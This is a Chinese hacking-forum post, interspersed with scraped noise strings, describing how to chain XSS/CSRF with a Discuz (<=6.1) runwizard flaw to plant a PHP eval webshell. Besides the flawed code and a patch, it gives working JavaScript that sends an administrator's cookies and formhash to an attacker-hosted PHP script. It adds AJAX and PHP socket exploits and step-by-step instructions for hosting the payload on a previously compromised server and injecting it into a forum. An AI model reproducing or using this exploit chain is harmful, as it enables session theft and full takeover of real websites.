Discuz XSS得webshell
3 a! `7 M; q8 y; D" v0 PBy racle @tian6.com
, C8 Z) B3 N1 X) z/ P9 P5 G# U. e欢迎转帖.但请保留版权信息.
0 x! S: j0 n O, W' B受影响版本 iscuz<=6.1.0,gbk+utf+big5/ L9 d4 z7 Z! }( p
# V& o2 G" h9 \7 j* W! l
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效. {& j& V3 y' R' c; l+ P, z" u
% x; n/ g" A0 q! H
$ B% i" V, E& W8 P) K6 G% B
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706- N2 a' t8 c* U' e' u& z
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
$ k8 p" x# ?# y: Y" D
/ m- _# |* U1 A8 W0 ^分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..6 w1 O/ [5 K% W3 S; |9 P
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
2 u4 P: G; Q* o2 }( ~4 `
4 e/ v( j8 S6 V# m
7 a. z0 v' p( @3 s% v----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
- a. {* e& U4 c3 y6 R
9 j/ {& l0 L3 F' e& N4 {7 ~
2 b: F, i4 j7 r. a" Yproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
1 T( W0 d, T6 c5 ^' {* o+ T/ y3 J& i
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
" p s/ W3 U; r; }
' M4 Z# p6 _8 o/ y4 M1 _problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
- r' f% ]( l! k* \" _
* }, d+ t& ]. F' L' _( j
9 z+ \' \" h4 l9 Y4 ]* m6 Z下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {5 E5 F9 X: D* k& C
" E( _' U( s5 `4 v" h q
global $runwizardfile, $runwizardhistory;5 V0 j' \/ b# [: G* r" g- f8 ~
. P9 a5 `8 [4 M& X: u0 l $fp = fopen($runwizardfile, 'w');
# A& ^& Q: h7 H6 Q S, _% ?5 [' b: O6 C+ H5 j2 h' I
fwrite($fp, serialize($runwizardhistory));
1 }) l& ?. P+ e. S' y
4 j9 M, ^ q9 z1 A4 f \5 X fclose($fp);
6 ], {: k5 b" W' q$ u! |5 H: {/ {! p! T' e9 i. I
}8 M! r8 d' v% ^$ V6 c) \5 p0 |
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
5 a9 [( |1 E; m" }4 r以下是修补的办法:function saverunwizardhistory() {
4 x( e# c4 q5 x! B4 ^% u) k
4 v+ x% g; C3 P, T1 ^8 ` global $runwizardfile, $runwizardhistory; q) |5 I2 \6 [7 ]* P( h9 k
; a; I7 }# h2 U5 y0 V4 z& A
$fp = fopen($runwizardfile, 'w');
3 X, j0 c( I$ }9 ]& b6 L1 u
+ {- }: X, t7 r $s = '<?php exit;?>';) P0 c5 e/ I P+ N- \4 c- ]) }. w0 [
# n" U$ S; }$ B* |3 _ $s .= serialize($runwizardhistory);
+ g$ G& k- S/ x/ E% h% g/ h( X f& c! F/ Z u& r* Z6 O0 g) O2 d
fwrite($fp, $s);( v/ S' \( M$ b
! q# ]4 I# y' r9 ~0 I. F fclose($fp);
! H# _+ q+ [1 {4 b
) A, ?" P. ` X& N. N7 W% ]}9 T+ ?& ~ [* e, r
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.0 T3 w- V1 _" a1 N3 U* B0 S2 U3 {" f
% D) h) [9 S( A+ Y9 w o9 U
" e# h0 z: f& q$ g4 C4 h
9 J, y* \; n$ Y
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------, O2 x3 l9 `' U
8 J c. V# z8 `3 e6 k8 k p3 W4 q; J% z& x) f7 Z- \6 `9 O8 X0 c
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.4 [! T5 h+ F' A2 V2 J; C
( R }/ H; w f* m, W4 J& ^我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
: b( N. D/ V, K, q% g6 b/ G0 a7 U0 @& n
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
2 J$ y' J6 |4 J1 e/ k7 T0 v3 M
$ S+ i5 B! k: J- k2 K! Z; p( A' |首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
5 ^/ X$ b6 y4 g( _9 K
3 A/ }& M: K; }3 T! `: v2 Evar url="http://目标网站/admincp.php";
' b" E8 Y4 {. A: P3 s9 I+ k) y2 [- n5 d" o8 ~! B' X, f
/*获得cookies*/
# x5 [% w$ k' [' e) p" ^
' Y; G, t- G2 s4 [5 a# Ofunction getURL(s) {
+ U/ ]& ^9 s/ F7 w8 M2 ?8 w) c, Y4 d7 T5 J) S( j1 }
var image = new Image();1 h* i" J. s" ~" \$ L. u* s
" X1 z% n/ ~, R) }8 V. N
image.style.width = 0;* `) @1 ?4 D7 q
1 m2 ?: z% B/ c7 E
image.style.height = 0;9 `; C' u3 [0 A4 x9 Q
. i" N9 Z9 O5 K2 h* ]! B
image.src = s;3 X: d& d7 z' u! N9 P* |" ~1 ]! W0 }
5 p2 C4 b) }& |. S}
) b8 W. I9 o& v4 J/ g- B9 X- d0 V
. {6 T- @' }8 xgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
8 \! l8 z7 G" Y* i复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
1 Z z4 G$ r5 P/ T复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
' \3 A1 \: q J% r+ U: g1 ]4 m1 L' V" S( }' f
# }& a4 s: y; w0 I& l. R& _获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";- D* r9 D7 I2 e) [4 b* {& ~( I
) L% \: P: M2 [
8 o0 ?8 U) a' ~. o
" v2 a# H3 F, M- T6 P* y- L9 Q, r/*hash*/! F8 `* h7 p k# o
' p+ \; d8 W' R, t( w
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");; Z9 Y6 R" K8 O2 F7 J
% y* n$ e' ]# h6 J
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
U4 w+ O( f3 p5 B: Q3 R! f X$ \5 Z* Z
xmlHttpReq.send();6 ^" ?& z5 p: `% R: A9 R
Y$ A0 U6 H! i2 R; g
var resource = xmlHttpReq.responseText;) e" r5 a' }$ H. h" e
; T( K5 I' [ L3 N: d; m
var numero = resource.search(/formhash/);
7 {8 ~# b }+ u, F6 ]- X! v+ N2 @- l" H3 O/ x
var formhash=encodeURIComponent(resource.substr(numero+17,8));) @$ s# d3 a; ~/ g& @" V
: \8 m0 z) _* Y- t8 n. [
9 v9 d q d4 b; P
, q9 |- K+ D! @' D4 y& Yvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 " `; E" r% I1 S/ u/ N& W
- e3 w" ]% T+ g3 |( F* B5 R" F
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
% c e2 F9 g# J: I7 U0 F3 g7 S2 a+ A$ }/ |0 R
xmlHttpReq.setRequestHeader("Referer", url);' `! _$ g/ n0 h2 G9 D, d3 u* S
5 }) T( o2 n% y1 c# _xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
# B6 Z7 M0 v. S5 t1 |6 p
7 u3 |% O- G% U4 z5 J' vxmlHttpReq.setrequestheader("content-length",post.length); % K" Q) ^- t% f: J [$ Q. b. H5 X9 @
% m# W/ t1 I. K& ^) d# J$ i' i% E% z
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
/ I5 D$ q7 A* Y2 F# D E# _
( G1 i8 D2 R( E) RxmlHttpReq.send(post);//发送数据
6 j0 G; _/ p0 S( M% V) ~! N# f复制代码这里HASH我假设正确,这样提交,也无须cookies, y9 ?% \0 t0 Q6 X, N# l, Z
) }: h1 q- D5 w0 t8 M再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
- T. X2 D3 [1 D4 k& Y# j. A4 D* A0 o( B% x
if (!$sock) die("$errstr ($errno)\n");) D7 K- y. {( T4 d( [
& n% a0 p8 N8 W7 v8 r$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';) I a3 g' a2 R0 A
- \+ n# | C- D3 n
! g( s$ U" I) T( l9 b( a8 `- [
4 U; `& |0 ?- k. m7 t7 zfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");; f) U6 Q5 h& l; A9 F3 [9 A
! e+ X- O" ~6 k3 Y1 n! R# e- wfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
+ P( p4 C& O9 B% _5 @
* Y4 L4 u! p, h! {1 rfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
9 x; G- C8 m9 Z/ g. _; d4 N' F v+ f) j* k6 |5 o
fwrite($sock, "Accept-Language: zh-cn\r\n");3 R) E8 F: K; r* f: k' k
]# o' X+ X9 l. P) x. H0 `; }* B
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");/ Q' J9 G$ U* b* B2 G$ P9 } r
4 N5 |% |: o3 l; efwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
' v: e+ f( M7 i! s1 N- {' I
4 Z9 t c2 G" X8 M2 ifwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");. C6 n' \4 \2 I" f
9 F4 R$ i6 J5 I( xfwrite($sock, "Host: $url\r\n");
& X }( D9 g4 n: _5 \9 L2 N& S& v
) I- y3 G2 l; |+ F8 u6 ]. ?. Yfwrite($sock, "Content-Length: ".strlen($data)."\r\n");/ c: W' T% k3 F3 E4 I) T
6 e4 \% S7 E1 Y" I" Q/ bfwrite($sock, "Connection: Keep-Alive\r\n");7 u- R: q! I9 c6 L3 \
5 K7 R. @ b0 N/ A
fwrite($sock, "Cache-Control: no-cache\r\n");
. ]! u6 U0 N3 j& _0 }
+ X* R& c( a3 ofwrite($sock, "Cookie:".$cookies."\r\n\r\n");
, \' Y+ ^/ }' R: m0 }8 F+ @2 O6 g' J1 k' Q
fwrite($sock, $data);) t$ N4 r9 c% D0 {4 y5 x W
. Q+ f6 x9 N# B% K$ I6 Q7 I* }- V+ J$ d
; b4 ]$ X8 U' }' e: s; V5 O5 `
$headers = "";
9 V" X" I7 G. a- @5 u5 u
4 x+ ]/ R9 T# g% |0 K1 `8 zwhile ($str = trim(fgets($sock, 4096))): M) J6 j. u0 Z4 y) o
6 | g' o4 F4 h8 E# _/ S' N
$headers .= "$str\n";
& G6 q& l& I, T- a% k9 B
# Q9 C' @( @/ F/ z: W% m* Decho "\n";+ f' ?5 {1 X! ^6 D( z4 y
) w4 r' f# d" R3 a4 U. c- `$body = "";& ]3 C1 v$ B# z! K' I
3 q/ O# x( r# G% Q
while (!feof($sock))) K/ W' V" P8 r
; B! l& ^1 p& T( C( ? $body .= fgets($sock, 4096);
, j$ a$ a, j( y g* F) k9 h
/ w y4 a6 O9 [# K$ |fclose($sock);
0 ~" {$ {) R5 h/ I" l$ E3 O0 }* N, B' P8 I/ A7 S& A; V
echo $body;
' B) b; `9 ]! X1 ?1 R复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
5 a, }/ L% o( B" j; A+ @ S1 m. h% L' s1 M3 O# t
$ j: X1 Q% k" k2 |/ f-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
/ Y& P) h& ^4 t8 A( A- k& [
0 `9 y: @1 |: I- n/ a9 d) m2 ?5 G, U, o: X' S; C2 I6 W% y7 t
1 HP SOCKET利用方法首先打开racle.js8 l+ F; D) |8 F, w
; t& m1 m) r! [; |1 S2 a$ P# i
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
4 _+ W9 E% ]2 S5 X3 q; H0 M( K/ h5 k$ }( n5 m9 ~. ~
$ Q2 y6 P3 d& `/ Y* n; y
1 p6 }" K/ i# ]1 y9 V然后打开racle@tian6.php
0 A8 _! G4 ]4 C" C0 c4 D ^9 s: C# s$ z+ S' `
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com; K' S) W7 R: W" A' H" U! j
5 K* j( I4 ?6 J8 P. s7 h1 U: a( J0 k4 ~
: }9 x* Y) R' i$ r( z/ v如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
0 T) S6 m) h; O$ g( M$ c3 ?+ [7 p8 B& k* Z# H J
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
( [+ t( ^0 P- l$ |
7 n4 R7 a7 {* Z) k! o y为
2 _& ]! W z, ~9 N$ a4 V8 Z l2 c$ W6 X& O% f/ D
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
9 w' E$ e% ~0 X6 c4 [复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
% J& J4 \/ j5 i4 r# h$ b" _9 s+ J" m [0 i7 `% N+ \; C5 {
- N$ j6 I1 c- w1 R& I7 M+ v+ |5 d
0 H. l# o `# k9 C# m7 y+ \
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:. n! _" ~3 h! p# L& G1 N
4 O( h& M7 s, M5 Z- v3 h! c) Dvar formhash=encodeURIComponent(resource.substr(numero+17,8));
- H' `5 x( T3 p9 h# m+ h2 N3 |6 g' B/ q
为
$ D" [0 F q! K, }5 W% U: e
' h+ g+ Y. w% r; v7 x) E& |- I- Jvar formhash=encodeURIComponent(resource.substr(numero+9,8));
6 R! K5 }- x$ ~3 P! ^( J7 _" {4 O复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
# N3 g1 r6 }. ^: t+ @" S" q3 f( z# g
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
; m! ]+ \! n; I4 j1 `
, w1 }' y" B$ f# Y如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
/ G7 [/ O! L6 k
2 D; E5 H) b8 t, s: o不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
0 l0 y$ m9 c& O! c+ k ?
% C* R, Z( p2 z |